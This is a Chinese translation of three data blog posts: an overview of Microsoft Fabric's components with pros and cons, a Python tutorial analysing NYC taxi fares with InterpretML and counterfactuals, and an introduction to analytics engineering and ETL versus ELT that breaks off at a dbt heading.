Microsoft Fabric 在 2024 年能带来什么?
·发表于 Towards Data Science ·17 分钟阅读·2023 年 12 月 31 日
--
图片来源 Ricardo Loaiza 在 Unsplash
概述
-
介绍
-
什么是 Microsoft Fabric?
-
Microsoft Fabric 的主要组件
-
使用 Microsoft Fabric 的 3 个优点
-
使用 Microsoft Fabric 的 3 个缺点
-
你应该更改吗?
-
总结
介绍
Microsoft Fabric 被微软宣传为一个全面的数据分析、数据工程和人工智能平台。它在 2023 年春季以预览形式推出,并于 2023 年 11 月正式上市。该平台基于现有服务如 Azure Synapse Analytics、Azure Data Factory、Azure Data Lake Gen 2、Microsoft Purview 和 Power BI 的功能。
在这篇博客文章中,我想给你提供一个关于 Microsoft Fabric 平台进入 2024 年的高层次概述。具体来说,我想回答以下问题:
-
Microsoft Fabric 涵盖了数据生命周期的哪些部分?
-
Microsoft Fabric 中的每个组件试图实现什么?
-
使用 Microsoft Fabric 的优点和缺点是什么?
-
你是否应该考虑迁移到 Microsoft Fabric?
我对 Microsoft Fabric 的经验来自于我参加的为期四天的 Microsoft 深度课程以及在过去几个月中对 Microsoft Fabric 的实验。我还广泛使用了 Microsoft Fabric 所借鉴的工具。然而,我与微软没有关联,从未因过度宣传或低估 Microsoft Fabric 而获得经济利益。基于这些,我可以提供一个客观的 Microsoft Fabric 概述。
正如你从博客的其余部分可以看出,我认为Microsoft Fabric 为统一数据平台提供了一些真正有用的功能。然而,像其他所有事物一样,是否迁移到 Microsoft Fabric 还将取决于许多因素。
什么是 Microsoft Fabric?
让我们尝试了解一下 Microsoft Fabric 以及它试图实现的目标。
Microsoft Fabric 是一个全面的数据和分析平台,处理从数据收集阶段到分析阶段的所有数据。 这包括数据存储、数据管道、数据警报、数据血缘、数据治理、AI 功能、Power BI 集成等。该平台基于之前的微软服务,将许多现有功能整合到一个包中。
根据微软的说法,Microsoft Fabric 有四个重点领域,这些领域塑造了其目标和试图实现的目标:
来自微软公开学习资料的图片
完整的分析平台
Microsoft Fabric 平台是一个成熟的生态系统,旨在为数据和分析平台提供所需的完整解决方案。
大多数数据平台,如 Databricks 和 Azure Synapse Analytics,都是基于 PaaS(平台即服务)的,供应商处理操作系统、*护和工作负载分配等事宜,而用户则控制代码和数据。Microsoft Fabric 自我定位为 SaaS(软件即服务)平台,供应商在代码和配置方面承担更大的角色。这通过更多地关注低代码工具如 Azure Data Factory、Azure Data Activator 和 Power BI 来实现,正如我们将看到的那样。
我认为将 Microsoft Fabric 称为 SaaS 平台有些牵强。对于大规模项目,仍然需要编写代码,无论是 Spark、SQL 还是 Python。然而,Microsoft Fabric 平台确实在朝着 SaaS 数据平台的方向迈出了一步,通过更依赖低代码/无代码工具来实现。
Microsoft Fabric 还通过先前在 Microsoft Purview 服务中提供的功能强调治理和安全。这包括通过将数据分组到域和工作区来保护数据所有权。它还包括通过数据目录和数据血缘提供可见性,使解决方案可扩展,同时不会完全失去对可用数据及其受众的跟踪。
以湖泊为中心且开放
Microsoft Fabric 使用 OneLake,承诺简化数据存储、*护和数据复制。
OneLake 是为整个组织设计的单一、统一、逻辑数据湖——Microsoft 文档
OneLake 建立在大多数 Azure 用户都有经验的 Azure Data Lake Gen 2 基础上。它被设计成一个统一的数据存储中心,而不是为组织中的不同分支和团队设置多个数据湖。因此,你可以在 Microsoft Fabric 租户中拥有一个且仅有一个 OneLake。数据的所有权通过像工作区和域这样的组织功能在 OneLake 内部进行处理。
OneLake 支持任何文件格式,无论是结构化的还是非结构化的。然而,它对 Delta Parquet 格式略有偏好,因为 Fabric 中的任何数据仓库或湖仓默认以此格式存储数据。
OneLake 使用快捷方式,这一功能模拟了我们在本地机器上熟悉的快捷方式。快捷方式用于共享数据而不会出现数据重复的问题。拥有正确权限的用户可以在工作区之间以及到外部服务如 AWS 的 S3 存储和低代码 Power Platform 的 Dataverse 存储之间创建快捷方式。
赋能每一个业务用户
Microsoft Fabric 的用户界面对 Power BI 用户非常熟悉,对来自不同数据平台的大多数人来说也很直观。这允许分析方面的业务用户在数据存储和数据转换的管理中发挥更大的作用。
Microsoft Fabric 还非常努力地与业务用户喜爱的两个其他平台集成——Power Platform 和 Microsoft 365。这两种集成都允许业务用户更接近数据,并与数据工程师和数据科学家更无缝地协作。
AI 驱动
最终,Microsoft Fabric 平台以不同方式集成了 AI。其中一个方面是结合 LLM(大型语言模型),如 GPT 模型和 Microsoft Copilot,以加快开发过程。这些工具开始被大量集成到平台中。如果这种集成成功,这将是 Microsoft Fabric 的一个主要卖点。
AI 也以另一种方式来到 Microsoft Fabric。现在你可以训练机器学习模型,进行实验、保存和部署模型。这似乎是基于 Microsoft 从 Azure Machine Learning 服务中获得的经验,在那里这些功能已经存在一段时间。因此,尽管在 Microsoft Azure 的整体范围内这不是新功能,但它与 Microsoft Fabric 中的数据工程任务紧密结合则是新颖的。
在 Azure Synapse Analytics 中,没有可用于机器学习的强大功能。像 Databricks 这样的其他平台已经将 ML 与数据工程结合了相当长的时间。因此,在这方面,微软正在赶上现代数据和分析平台的期望。
Microsoft Fabric 的主要组件
微软的以下插图突出了构成 Microsoft Fabric 平台的各个组件。我们简要了解一下它们。
微软公开的学习材料中的图像
OneLake
我已经稍微谈了一下 OneLake,但想要再深入探讨一下。如下图所示,OneLake 作为其他组件的共同基础。
微软公开的学习材料中的图像
这些组件的工作负载会自动将数据存储在 OneLake 工作区文件夹中。然后,OneLake 中的数据会被索引以实现多种用途。其中之一是数据血缘,可以追踪数据集上应用了哪些转换。另一个是 PII(个人身份信息)扫描,可以突出显示敏感信息。
我个人认为 OneLake 最大的优势之一是透明性。在像 Azure Synapse Analytics 这样的平台中,大家很难跟踪哪些数据可用以及对数据应用了哪些转换。数据分析师可能会获得访问 Azure Data Lake Gen 2 存储的权限,以获取用于可视化的完成数据。但他/她对数据在这种形式下所应用的转换了解不多。尽管可以通过 Microsoft Purview 处理这个问题,但这有点麻烦。默认的透明性是一个我认为不会成为头条新闻但对更好协作至关重要的特性。
Data Factory
Data Factory 是 Azure 生态系统中的一个现有服务,已被纳入 Microsoft Fabric 平台。该工具用于连接到数据源,如数据库、Kafka 等流系统、SharePoint 中的文档以及其他大量来源。然后,你可以编写数据管道以简化数据转换步骤并自动化管道管理。
微软公开的学习材料中的图像
Data Factory 还包括 Dataflow Gen2,这是一个用于数据摄取和简单转换的低代码工具。Power BI 的用户会觉得非常熟悉,因为 Dataflow Gen 2 看起来很像他们习惯的 Power Query 编辑器。这样,数据分析师和业务用户可以在数据摄取和处理方面发挥更大作用。
Data Factory 已经通过名为管道的功能存在于 Azure Synapse Analytics 平台中。因此,Data Factory 在 Microsoft Fabric 中的加入是预期之中的。
Synapse Data Engineering
在 Data Factory 中,可以使用低代码工具进行一些简单的转换。对于更复杂的处理,你可以使用 Synapse Data Engineering 设置 Spark 作业和笔记本,以更自定义的方式处理数据。
图片来自微软公开的学习材料
Synapse Data Engineering 还允许设置湖仓,在一个位置管理结构化和非结构化数据。然后可以使用 Spark 作业和笔记本对数据进行转换。湖仓还提供一个SQL 分析端点,以便你可以编写基于 SQL 的查询来提取数据。请注意,SQL 分析端点仅设计用于读取操作。大多数数据工程师会在 Microsoft Fabric 中的大量时间里在 Synapse Data Engineering 中工作。
Synapse Data Science
与 Azure Synapse Analytics 的不同之处在于数据科学的引入,特别是机器学习模型开发的生命周期。
图片来自微软公开的学习材料
Synapse Data Science 包括模型托管、实验和 ML 模型的部署。内置了 MLflow 体验,使得参数和指标的跟踪变得简单。Microsoft Fabric 还支持自动日志记录,这是一个简化日志记录体验的功能。
ML 模型的训练可以通过 Python/PySpark 和 SparklyR/R 完成。像 scikit-learn 这样的流行库可以轻松集成,模型开发的体验也变得简单了许多。其他基于 Azure 的 AI 工具,如 Azure OpenAI Service 和 Text Analytics,也可以从 Microsoft Fabric 中轻松使用。当前这一连接处于预览阶段,但未来将会包含更多的微软 AI 服务。
我认为,在 Microsoft Fabric 被称为完整的 MLOps 平台之前,还需要更多的时间、测试和进一步的开发,但他们已经做出的改变非常令人印象深刻。
Synapse Data Warehousing
我之前提到过,Microsoft Fabric 中的湖仓有一个 SQL 分析端点,你可以在数据上编写只读的 SQL 查询(以及创建视图)。Microsoft Fabric 还提供了一个完整的数据仓库解决方案,支持 DDL 和 DML 查询。
图片来自微软公开的学习材料
因此,通过 Synapse 数据仓库,你可以拥有一个全面的数据仓库,支持 T-SQL 功能。选择来自湖仓的 SQL 分析端点还是一个全面的数据仓库,是在大多数情况下需要考虑的权衡。微软有大量文档阐述这种权衡以及不同选项所提供的功能。
Synapse 实时分析
实时按需数据的期望由 Synapse 实时分析满足。许多系统持续收集数据,以显示在仪表盘中或用于机器学习模型中。示例包括来自传感器的 IoT 数据或客户在网站上的浏览数据。Microsoft Fabric 的 Synapse 实时分析组件全面处理流数据。
来自微软公开学习资料的图片
它使用 KQL(Kusto 查询语言)来查询事件流。它针对时间序列数据进行了优化,并具有大量支持自动分区和扩展的功能。最终结果可以轻松地与 Microsoft Fabric 中的其他组件(如 Synapse 数据工程或 Power BI)集成。
Power BI
我怀疑 Power BI 是否需要过多介绍。过去十年来,它一直是事实上的可视化/仪表盘解决方案之一。通过 Power BI,你可以创建更新且美观的仪表盘,并将其分发给拥有正确访问权限和权限的人。
来自微软公开学习资料的图片
Microsoft Fabric 中的新变化是 Power BI 与其他数据和分析平台紧密集成。之前,数据工程师可以在 Azure Synapse Analytics 中工作,而数据分析师则在 Power BI 中工作,两者之间的互动很少。在 Microsoft Fabric 中,数据分析师被鼓励在数据处理过程中发挥更大的作用,而数据工程师则被鼓励更多地思考数据如何在可视化阶段提供见解。
还有一种新的连接模式叫做直接湖模式,作为速度和避免数据重复之间的中间道路,似乎非常有前景。这对频繁更新的大型数据集是最优的。我还没有进行过基准测试,但我*心乐观地认为这在许多情况下可能会很有价值。
来自微软公开学习资料的图片
数据激活器
Microsoft Fabric 平台的最后一个组件是 Data Activator。Data Activator 是一个无代码工具,用于在数据中检测到条件或模式时采取行动。它设置了反应——一个包含连接到数据、监控数据的特定条件,然后通过触发器采取行动所需信息的项目。
图片来自微软公开的学习材料
无代码规则和触发器可以在 Microsoft Teams 或 Outlook 等应用程序中发送通知,通知有关有趣的变更。还可以在 Power Platform 中使用 Power Automate 编写自定义工作流,以确定终端用户如何被提醒。
警报系统可以通过 Logic Apps 或其他服务与 Azure Synapse Analytics 集成。如果连接警报系统需要稍微付出一点努力,它们往往会很快被忽视,因此 Data Activator 成为 Microsoft Fabric 的一部分是很棒的。虽然在我看来它没有提供革命性的东西,但它使整个 Microsoft Fabric 平台变得更加全面。
使用 Microsoft Fabric 的三大优势
现在我们已经描述了 Microsoft Fabric 的组成部分,我想讨论一下 Microsoft Fabric 的一些优势。这些优势基于我个人的兴趣。
SaaS 和学习曲线
随着 Microsoft Fabric 朝着 SaaS 解决方案的方向发展,技能提升的速度应该比 PaaS 解决方案更快,并且能够覆盖更大范围的人群。具体来说,我认为数据分析师有望承担更多传统上属于数据工程师的任务。这包括监控数据、设置数据管道以及编写数据转换的代码。我的初步实验表明,Data Activator 和 OneLake 的启动确实非常迅速。这些组件也有一个友好的界面,开始时不会显得令人生畏。我认为这将促使数据分析师尝试并实验以前由数据工程师完成的任务。
在学习材料方面也有很多进展。我参加了微软提供的为期四天的免费数字课程,旨在教授 Fabric 平台的基础知识。2024 年还将推出新的微软认证——Microsoft Certified: Fabric Analytics Engineer Associate。看起来微软确实致力于 Microsoft Fabric,并且愿意为这一解决方案制作大量学习材料。
缩*数据分析师与数据工程师之间的差距
我之前简要提到过这一点,但想要更深入地关注这个问题。在数据领域,有许多角色,例如数据科学家、数据工程师、数据分析师、机器学习工程师、数据架构师等等。虽然这些角色之间存在一些明显的差异,但数据领域在角色方面变得不必要地碎片化。这种碎片化并不是基于不同的意识形态或类似的高尚目标,而仅仅是由于工具的分离。Microsoft Fabric 通过其结构使这一点变得更加一致和不那么碎片化。
数据工程师应该考虑数据转换的最终结果如何用于可视化。同样,数据分析师应该关心在数据准备好进行可视化之前发生了哪些数据转换。现实中常见的情况是,数据工程师和数据分析师被隔离在不同的工具中,之间的接口非常有限。这个接口是基于需求的,并没有真正促进协作或共享见解。这可能导致大量的反复沟通和独立运作的孤岛。
使用 Microsoft Fabric,数据分析师和数据工程师被鼓励紧密合作。他们可以更轻松地查看彼此的工作,并在自己的专业领域之外进行贡献。这并不一定意味着数据工程师会设计 Power BI 仪表板,或者数据分析师会编写 Spark 代码。但数据分析师和数据工程师之间的交集将会更大,更多的协作成为可能。我认为这是数据与分析平台的一个主要亮点。
一个将 AI 置于核心的位置的平台
在许多数据与分析平台中,AI 和机器学习更多的是一种事后考虑。它们提供了一些 ML 模型的托管功能,但首先是一个数据平台,AI 功能只是锦上添花。
Microsoft Fabric 采取了不同的方法,将 AI 置于平台的核心。不仅 ML 模型生命周期功能相对具有竞争力,而且像 Microsoft Copilot 和 GPT 模型这样的 LLMs 的原生集成被仔细地构建到平台中。由于 Microsoft 是生成 AI 的主要参与者,能够尽快获取新开发和改进是非常有用的。
似乎 Microsoft Fabric 也在逐步建立与其他 Azure AI 服务(以前称为 Azure Cognitive Services)的更多连接。这些服务当然可以通过各自的端点作为独立服务使用,但 Microsoft Fabric 正在尝试使连接尽可能顺畅。我认为在未来半年内,大多数 Azure AI 服务将可以通过 Microsoft Fabric 轻松访问。拥有高级的 文档智能 用于解析 PDF 文档,或高级的 文本到语音翻译,只需点击按钮即可使用,这是其他数据平台难以竞争的。
使用 Microsoft Fabric 的 3 个缺点
为了对抗我之前提到的 Microsoft Fabric 的优点,下面是一些使用 Microsoft Fabric 的可能缺点。这些都是基于我自己的担忧。
统一化与锁定
Microsoft Fabric 确实将许多现有的 Azure 解决方案统一到一个具有自己计费和统一 OneLake 的包中。然而,这也意味着你被鼓励将 Microsoft Fabric 作为一个完整的解决方案来使用,而不是在微服务架构中的单一组件。这使得数据平台更容易锁定在 Microsoft 生态系统中。这是否好坏取决于你使用的其他工具以及你对平台未来的抱负。对许多人来说,这可能是一个他们不愿妥协的缺点。
低代码的双刃剑
低代码的优势在于它允许更多的人参与。数据分析师和业务用户可以在 Microsoft Fabric 中承担更多任务。但从这个角度来看,低代码是把双刃剑。低代码的简单性通常意味着定制可能性较少。工具的 GUI 基于程度越高,细调选项越少。
以具体示例说明,Data Factory 是一个低代码工具,可以从例如事务数据库中提取数据。但是,Data Factory 提供的功能比你编写 SQL 查询来获取数据的功能要少。这是自然的,因为 SQL 查询是一种完整的声明性语言,而 Data Factory 只有一些预设和配置选项。因此,Data Factory 9/10 的情况下会顺利完成,但有时编写代码可以提供更多的可能性。
Microsoft Fabric 走低代码路线可能是一个让所有人不尽兴的发展。我对他们在低代码和基于代码的工具之间取得的平衡感到相当满意。然而,向低代码方向迈进一步会使平台对我和许多有编码背景的人来说变得更难管理。这种发展可能是一个值得密切关注的未来缺点。
新技术 — 技术能力要求降低
这一点适用于任何新技术。很少有人对 Microsoft Fabric 非常熟悉。如果你尝试建立一个内部团队,那么要求新员工具备 Fabric 经验可能过于苛刻。你需要进行内部技能提升,并花时间了解在 Microsoft Fabric 中哪些模式有效,哪些无效。好处是,Fabric 从 Synapse Analytics、Data Factory 和 Power BI 等服务中汲取了很多,这些背景应该足以让你快速上手 Microsoft Fabric。
应该改变吗?
将现有解决方案更改为 Microsoft Fabric 是一个复杂的决定。将这一重要决定基于一篇博客文章是个愚蠢的主意。不过,这里有两个明确的案例:
-
你是否将 Synapse Analytics 作为数据平台?你是否在使用其他工具,如 Microsoft Purview 和 Power BI?你是否觉得将这些服务连接起来很麻烦,并且难以跟踪?在这种情况下,迁移是有希望的。进行更改可能会使你的数据平台更易于管理。开始尝试 Microsoft Fabric! 尝试复制你现有数据平台中的一些数据管道。如果这带来了良好的结果,那么你就有了一个新的数据平台的严肃竞争者。
-
你是否在使用多个不在微软平台上的工具?也许你没有使用 Power BI,而是使用像 Grafana 这样的不同仪表板解决方案?你是否关注基于代码的工具和开源工具?在这种情况下不要切换到 Microsoft Fabric。 你仍然应该关注 Microsoft Fabric,但你的公主不幸在另一座城堡里。
除了这种明确的解决方案外,你需要尝试 Microsoft Fabric。只有这样你才能掌握它是否适合你的需求。更改数据与分析平台是一个重大决定。成功需要技术能力和强大的业务理解。
总结
Spencer Bergen 在 Unsplash 上的照片
希望你对 Microsoft Fabric 及其提供的功能有一个诚实的概述。如果你对 AI、数据科学或数据工程感兴趣,请随时关注我或在 LinkedIn 上联系我。你对 Microsoft Fabric 的体验如何?我很想听听你的意见 😃
喜欢我的文章吗? 查看我的其他帖子以获取更多内容:
-
如何作为数据科学家编写高质量的 Python
-
用美观的类型提示现代化你的罪恶 Python 代码
-
在 Python 中可视化缺失值极其简单
-
在 Python 中使用 PyOD 进行异常/离群点检测 🔥
使用 InterpretML 分析 NYC Yellow Taxi 乘车记录
原文:
towardsdatascience.com/analysing-nyc-yellow-taxi-trip-records-with-interpretml-d4421bff32ac
回归分析和反事实解释
·发表于 Towards Data Science ·9 分钟阅读·2023 年 1 月 13 日
--
InterpretML 是一个由微软设计的 可解释机器学习 库,旨在使机器学习模型更易于理解并开放给人类解释。
在与业务利益相关者沟通发现结果时,这尤其重要,因为在许多情况下,业务利益相关者是非技术人员,他们希望理解机器学习模型所产生的发现对业务的影响。
本文的目的是说明如何通过可解释机器学习和反事实分析,更好地理解数据集中的潜在趋势,以及 InterpretML 如何以直观的方式传达这些发现。
本示例使用的数据集是 NYC Taxi & Limousine Commission — yellow taxi trip records 数据集。该数据集通过 Azure Open Data 获取,该平台的数据来源于 nyc.gov 网站,并受到 nyc.gov 使用条款 的约束。数据集由 NYC Open Data 提供,该公司在其 Kaggle 账户下以 CC0: 公众领域许可的方式发布数据。
请注意,Python 3.8.0 被用于进行以下分析。
数据集和预处理
前述数据集包含了关于纽约市黄色出租车行程的诸多方面的数据点,包括总收费金额、行程距离、*费金额和通行费金额。
该数据集还提供了许多其他变量,例如接送时间和地点、乘客人数以及收费类型。
然而,为了确定对总收费金额(下文分析中的因变量)的主要影响因素——行程距离、*费金额和通行费金额被选为本次分析的自变量(特征变量)。
本次分析使用了一个月的数据(2018 年 5 月 6 日至 2018 年 6 月 6 日)用于建模目的。
import numpy as np
from azureml.opendatasets import NycTlcYellow
from datetime import datetime
from dateutil import parser
end_date = parser.parse('2018-06-06')
start_date = parser.parse('2018-05-06')
nyc_tlc = NycTlcYellow(start_date=start_date, end_date=end_date)
nyc_tlc_df = nyc_tlc.to_pandas_dataframe()
nyc_tlc_df
分析中产生了超过 900 万行的数据——这里是数据的一部分:
>>> nyc_tlc_df
vendorID tpepPickupDateTime tpepDropoffDateTime passengerCount tripDistance puLocationId ... extra mtaTax improvementSurcharge tipAmount tollsAmount totalAmount
0 2 2018-05-27 17:50:34 2018-05-27 17:56:41 3 0.82 161 ... 0.0 0.5 0.3 0.00 0.0 6.80
1 2 2018-05-23 08:20:41 2018-05-23 08:37:06 1 1.69 142 ... 0.0 0.5 0.3 3.08 0.0 15.38
3 2 2018-05-23 09:02:54 2018-05-23 09:17:59 2 6.64 140 ... 0.0 0.5 0.3 0.00 0.0 20.30
5 2 2018-05-23 13:28:48 2018-05-23 13:35:15 1 0.61 170 ... 0.0 0.5 0.3 1.00 0.0 7.80
7 2 2018-05-23 07:05:50 2018-05-23 07:07:40 2 0.48 48 ... 0.0 0.5 0.3 0.00 0.0 4.30
... ... ... ... ... ... ... ... ... ... ... ... ... ...
339945 2 2018-06-04 14:03:37 2018-06-04 14:17:11 1 1.95 262 ... 0.0 0.5 0.3 2.00 0.0 13.30
339946 2 2018-06-04 17:15:23 2018-06-04 17:16:38 1 0.55 262 ... 1.0 0.5 0.3 0.00 0.0 5.30
339947 2 2018-06-04 16:59:23 2018-06-04 18:24:02 6 16.95 88 ... 1.0 0.5 0.3 0.00 0.0 62.30
339948 2 2018-06-04 10:34:44 2018-06-04 10:40:46 1 1.16 229 ... 0.0 0.5 0.3 0.00 0.0 6.80
339949 1 2018-06-04 12:35:57 2018-06-04 12:58:32 1 2.80 231 ... 0.0 0.5 0.3 0.00 0.0 17.30
[9066744 rows x 21 columns]
值得注意的是,原始数据集中包含一些虚假的数据,这需要在预处理阶段处理。例如,查看相关变量的描述性统计数据时,发现如tipAmount这类变量包含负值——显然支付“负*费”是不可能的。
>>> nyc_tlc_df['totalAmount'].describe()
count 9.066744e+06
mean 1.676839e+01
std 1.502198e+01
min -4.003000e+02
25% 8.750000e+00
50% 1.209000e+01
75% 1.830000e+01
max 8.019600e+03
Name: totalAmount, dtype: float64
>>> nyc_tlc_df['tipAmount'].describe()
count 9.066744e+06
mean 1.912497e+00
std 2.658866e+00
min -1.010000e+02
25% 0.000000e+00
50% 1.410000e+00
75% 2.460000e+00
max 4.000000e+02
Name: tipAmount, dtype: float64
>>> nyc_tlc_df['tollsAmount'].describe()
count 9.066744e+06
mean 3.693462e-01
std 1.883414e+00
min -1.800000e+01
25% 0.000000e+00
50% 0.000000e+00
75% 0.000000e+00
max 1.650000e+03
Name: tollsAmount, dtype: float64
>>> nyc_tlc_df['tripDistance'].describe()
count 9.066744e+06
mean 3.022766e+00
std 3.905009e+00
min 0.000000e+00
25% 1.000000e+00
50% 1.650000e+00
75% 3.100000e+00
max 9.108000e+02
Name: tripDistance, dtype: float64
为了处理这个问题,负值被替换为 0 值在相关变量中:
y=nyc_tlc_df['totalAmount']
y[y < 0] = 0
tripDistance=nyc_tlc_df['tripDistance']
tripDistance[tripDistance < 0] = 0
tipAmount=nyc_tlc_df['tipAmount']
tipAmount[tipAmount < 0] = 0
tollsAmount=nyc_tlc_df['tollsAmount']
tollsAmount[tollsAmount < 0] = 0
现在,检查这些变量的最*值会得到最*值为 0——这正是我们所期望的。
>>> np.min(tollsAmount)
0.0
>>> np.min(tipAmount)
0.0
>>> np.min(tripDistance)
0.0
>>> np.min(y)
0.0
注意到原始数据集的规模非常庞大——截至 2018 年有 15 亿行——超过 50 GB。此外,该数据集的数据自 2009 年开始收集。在这方面,这 900 万行的数据分析实例仍然只是冰山一角。
例如,冬季几个月的交通模式可能与五月和六月的情况大相径庭,而且没有保证在特定月份得出的发现会适用于其他时间段。
话虽如此,本次的目标是使用 InterpretML 来更好地理解数据——鉴于分析的这一数据片段,这应该是可以实现的。
InterpretML:回归分析
进行分析时,首先导入相关库并对数据集进行训练-测试拆分:
from interpret.glassbox import LinearRegression
from interpret import show
from sklearn.model_selection import train_test_split
seed = 1
X = np.column_stack((tripDistance, tipAmount, tollsAmount))
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.20, random_state=seed)
X_train
y_train
现在,在训练数据上运行回归分析:
lr = LinearRegression(random_state=seed)
lr
lr.fit(X_train, y_train)
lr_global = lr.explain_global()
show(lr_global)
lr_local = lr.explain_local(X_test[:5], y_test[:5])
show(lr_local)
从上述代码中,你会注意到模型生成了全局和局部解释。
根据微软白皮书“InterpretML:理解机器学习模型的工具包”:
-
全局解释允许用户更好地理解模型的整体行为。
-
局部解释有助于更好地理解单个预测。
在上述模型中——全局解释说明了特征与因变量之间的总体关系,而局部解释则说明了在测试集中的五个独立观察中的关系。
来源:通过 Plotly.js 生成的 InterpretML 库图表
查看上述图表的全球解释,我们可以看到 feature_0001(或tripDistance)被排为最重要的特征,其次是tipAmount和tollsAmount。
让我们来看看测试集中的五个观测值的局部解释。y_test[:5] 变量包含以下值:
>>> y_test[:5]
451746 9.95
161571 15.30
72007 20.16
115597 21.36
37697 22.77
Name: totalAmount, dtype: float64
生成了一个类似于前面的图表——但目的是预测上述每个值。
例如,对于实际的 y_test 值 9.95,预测值为 12.2,其中tripDistance特征的重要性最大,tipAmount作为次要重要特征。
来源:通过 Plotly.js 生成的 InterpretML 库图表
然而,当预测实际 y_test 值 15.3 的值为 13.3 时,我们可以看到只有tripDistance被排为重要特征——其他两个特征没有被包括在内:
来源:通过 Plotly.js 生成的 InterpretML 库图表
这是预测值 22.8 对实际值 19.1 的图表。
来源:通过 Plotly.js 生成的 InterpretML 库图表
反事实解释
反事实解释的目的是评估某个特征度量的变化如何影响结果变量。
为了本示例的目的,totalAmount 变量被转换为分类变量——任何 totalAmount 值高于 $10 被视为较高的费用,并赋值为1。任何 totalAmount 值低于 $10 被视为低费用,并赋值为0。
这是我们希望回答的问题:
在什么情况下,trip distance 和 tip amount 的变化会导致 1 值变为 0,反之亦然?
进行分析时,使用了 dice_ml 库——定义了连续特征和结果变量:
import dice_ml
from dice_ml.utils import helpers # helper functions
d = dice_ml.Data(dataframe=nyc_tlc_df, continuous_features=['tripDistance', 'tipAmount'], outcome_name='totalAmount')
数据被划分为训练集和测试集,定义了数值变量和分类变量,并创建了数值和分类数据的预处理管道——然后使用随机森林分类器训练模型。实现这些功能的完整代码可以在 DiCE 仓库 中找到。
以下是 dice-ml 提供的反事实结果:
>>> # generate counterfactuals
>>> dice_exp_random.visualize_as_dataframe(show_only_changes=True)
Query instance (original outcome : 1)
tripDistance tipAmount totalAmount
0 1.8 1.85 1
Diverse Counterfactual set (new outcome: 0.0)
tripDistance tipAmount totalAmount
0 0.4 1.0 0.0
1 0.3 1.0 0.0
Query instance (original outcome : 1)
tripDistance tipAmount totalAmount
0 2.3 2.0 1
Diverse Counterfactual set (new outcome: 0.0)
tripDistance tipAmount totalAmount
0 1.0 - 0.0
1 0.6 - 0.0
2 0.1 - 0.0
3 0.4 - 0.0
查看这些反事实结果提供了一些有趣的见解。
首先,我们可以看到,当 tipAmount 变量高于 1 时,totalAmount 变量也显示为 1——即表示收费总额高于 $10。
当观察到结果变量变为 0(费用低于 $10)时,我们可以看到 tipAmount 变量在所有实例中都不超过 1.0,且旅行距离都短于 1.0。
这可能表明在距离较长的旅程中更可能支付*费。也可能表明*费是出租车司机在特定旅程中总收入的重要来源——可能会有一些情况,其中一次旅行虽然距离较短,但支付的*费使总金额高于距离较长但未支付*费的旅程。
结论
在本文中,我们探讨了:
-
分析和预处理大数据集的方法
-
如何使用 InterpretML 进行回归分析
-
InterpretML 模型中的全局解释与局部解释之间的差异
-
使用 DICE-ML 生成反事实解释和从这一技术中获得的见解
如果你愿意,你也可以尝试在不同时间段运行上述模型,看看你得到什么结果。希望你喜欢这篇文章,并欢迎任何问题或反馈!
参考文献
免责声明:本文基于“现状”撰写,不提供任何担保。本文旨在提供数据科学概念的概述,不应视为专业建议。本文中的发现和解释仅代表作者个人观点,并未得到或与本文提及的任何第三方认可或关联。作者与文中提到的任何第三方没有任何关系。
分析工程学介绍
原文:
towardsdatascience.com/analytics-engineering-8b0ed0883379
分析工程师是谁,他们应该做什么
·发布在 Towards Data Science ·阅读时间 6 分钟·2023 年 10 月 22 日
--
图片由 DALL-E2 生成
传统上,数据团队由数据工程师和数据分析师组成。
数据工程师负责建立支持数据操作的基础设施。这包括数据库的配置和 ETL 流程的实施,这些流程用于将数据从外部来源导入到目标系统(可能是另一个数据库)。此外,数据工程师通常负责确保数据的完整性、新鲜度和安全性,以便分析师可以查询数据。数据工程师的典型技能包括 Python(或 Java)、SQL、编排(使用工具如 Apache Airflow)和数据建模。
另一方面,数据分析师应该使用 Excel 或 SQL 构建仪表板和报告,以便向内部用户和部门提供业务洞察。
数据团队的传统组成
从 ETL 到 ELT 的过渡
为了处理数据并获得有价值的洞察,我们首先需要提取数据,对吗?🤯
数据摄取是通过 ETL(最近也用 ELT)流程进行的。ETL 和 ELT 范式都涉及三个主要步骤:提取、转换和加载。目前,我们忽略这些步骤的执行顺序,专注于每个步骤的独立功能。
提取
这个步骤指的是从持久化来源中提取数据。数据来源可以是数据库、API 端点、文件或消息队列。
提取步骤从各种来源中提取数据 — 来源:作者
转换
在转换步骤中,管道预计会对数据的结构和/或格式进行一些更改,以实现某个目标。转换可以是修改(例如,将“United States”
映射到“US”
)、属性选择、数值计算或连接。
转换步骤对输入原始数据进行了一系列转换 — 来源:作者
加载
该步骤指的是将数据(无论是原始的还是转换后的)移动到目标系统的过程。目标通常是 OLTP 系统,如数据库,或 OLAP 系统,如数据仓库。
将数据加载到目标系统 — 来源:作者
ETL: 提取 → 转换 → 加载
ETL 指的是数据提取步骤后跟着转换步骤,最终以加载步骤结束的过程。
ETL 过程的可视化表示 — 来源:作者
ETL 过程中,数据转换步骤发生在目标系统之外的临时环境中,在数据被加载到目标之前进行转换。
ETL 已经存在一段时间,但其应用逐渐开始减少。
-
由于转换发生在中间(临时)服务器上,将转换后的数据移动到目标系统中会产生额外的开销。
-
目标系统不会包含原始数据(即转换前的格式数据)。这意味着每当需要额外的转换时,我们必须重新提取原始数据。
云技术的出现改变了数据摄取和转换的过程。托管在云上的数据仓库使得以非常低的成本存储大量数据成为可能。因此,是否真的需要在每次进行转换时都“实时”应用转换并丢弃原始数据?
ELT: 提取 → 加载 → 转换
ELT 指的是提取步骤后跟着加载步骤,最终的数据转换步骤在最后进行的过程。
ELT 过程的可视化表示 — 来源:作者
与 ETL 相比,ELT 中不需要临时环境/服务器,因为数据转换是在目标系统内进行的,目标系统通常是托管在云上的数据仓库或数据湖。
此外,原始数据存在于目标系统中,因此可以随时用于进一步的转换。
数据分析工程
作为提醒,在较早的数据团队构建中,工程师负责*护 ETL 层,而分析师则负责创建仪表板和报告。但现在的问题是数据分析工程师在这一过程中扮演什么角色?
在较早的数据团队结构中,数据工程师负责 ETL,数据分析师负责报告——来源:作者
分析工程师实际上是数据工程师和分析师之间的桥梁。他们的责任是处理原始数据并应用转换,以便数据分析师可以收集转换后的数据,准备商业智能层的仪表板和报告,以便内部用户能够做出数据驱动的决策。现在,数据工程师可以更多地关注数据平台的摄取层和更广泛的数据基础设施。
在 ELT 流程中,数据工程师负责数据在数据仓库中的提取和加载,分析工程师负责数据转换层,分析师负责业务仪表板的创建——来源:作者
dbt:分析工程的终极工具
